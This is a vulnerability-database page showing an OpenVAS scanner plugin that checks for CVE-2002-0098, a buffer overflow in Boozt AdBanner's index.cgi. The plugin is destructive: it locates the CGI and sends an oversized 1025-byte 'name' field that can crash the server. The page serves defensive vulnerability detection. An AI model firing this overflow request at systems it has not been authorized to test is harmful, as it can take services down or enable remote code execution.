Lucene search
+L

Boozt index.cgi overflow

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 27 Views

Boozt index.cgi buffer overflow vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Boozt index.cgi Banner Creation Name Field Overflow
18 Aug 200200:00
nessus
cve
CVE
CVE-2002-0098
25 Jun 200204:00
cve
cvelist
Cvelist
CVE-2002-0098
25 Jun 200204:00
cvelist
exploitdb
Exploit DB
Boozt 0.9.8 - Remote Buffer Overflow
7 Jan 200200:00
exploitdb
euvd
EUVD
EUVD-2002-0098
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0098
25 Mar 200205:00
nvd
openvas
OpenVAS
Boozt index.cgi overflow
3 Nov 200500:00
openvas
SourceLink
securityfocuswww.securityfocus.com/bid/6281
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11082");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6281");
  script_cve_id("CVE-2002-0098");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Boozt index.cgi overflow");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Upgrade your software or protect it with a filtering reverse proxy.");

  script_tag(name:"summary", value:"It seems that index.cgi from Boozt AdBanner
  is installed and is vulnerable to a buffer overflow:

  It doesn't check the length of user supplied variables before copying them to internal arrays.");

  script_tag(name:"impact", value:"An attacker may exploit this vulnerability to make the web server
  crash continually or even execute arbirtray code on the system.");

  script_tag(name:"affected", value:"Boozt 0.9.8alpha is known to be affected. Other versions or
  products might be affected as well.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

d1[0] = "/cgi-bin";
d1[1] = "/scripts";
d1[2] = "";

d2[0] = "/boozt";
d2[1] = "";

d3[0] = "/admin";
d3[1] = "";

function find_boozt(port) {
  for(i = 0; i < 3; i++) {
    for(j = 0; j < 2; j++) {
      for(k = 0; k < 2; k++) {
        url = string(d1[i], d2[j], d3[k], "/index.cgi");
        req = http_get(port:port, item:url);
        res = http_keepalive_send_recv(port:port, data:req);
        if(ereg(string:res, pattern:"^HTTP/1\.[01] 200 ") && "BOOZT Adbanner system" >< res) {
          return(url);
        }
      }
    }
  }
  return FALSE;
}

port = http_get_port(default:80);
bz = find_boozt(port:port);
if(!bz)
  exit(0);

r = http_post(port:port, item:bz);
r = r - string("\r\n\r\n");
r = string(r, "\r\nContent-Length: 1030\r\n",
              "Content-Type: application/x-www-form-urlencoded\r\n\r\n",
              "name=", crap(1025), "\r\n\r\n");

soc = http_open_socket(port);
if(!soc)
  exit(0);

send(socket:soc, data: r);
r = http_recv(socket:soc);
http_close_socket(soc);

if(ereg(string:r, pattern:"^HTTP/1\.[01] +5[0-9][0-9] ")) {
  security_message(port:port);
  exit(0);
}

report = "It seems that index.cgi from Boozt AdBanner is installed.

Old versions of the CGI were vulnerable to a buffer overflow hower the scanner could not exploit it there.";
security_message(port:port, data:report);
exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.5
EPSS0.06881
27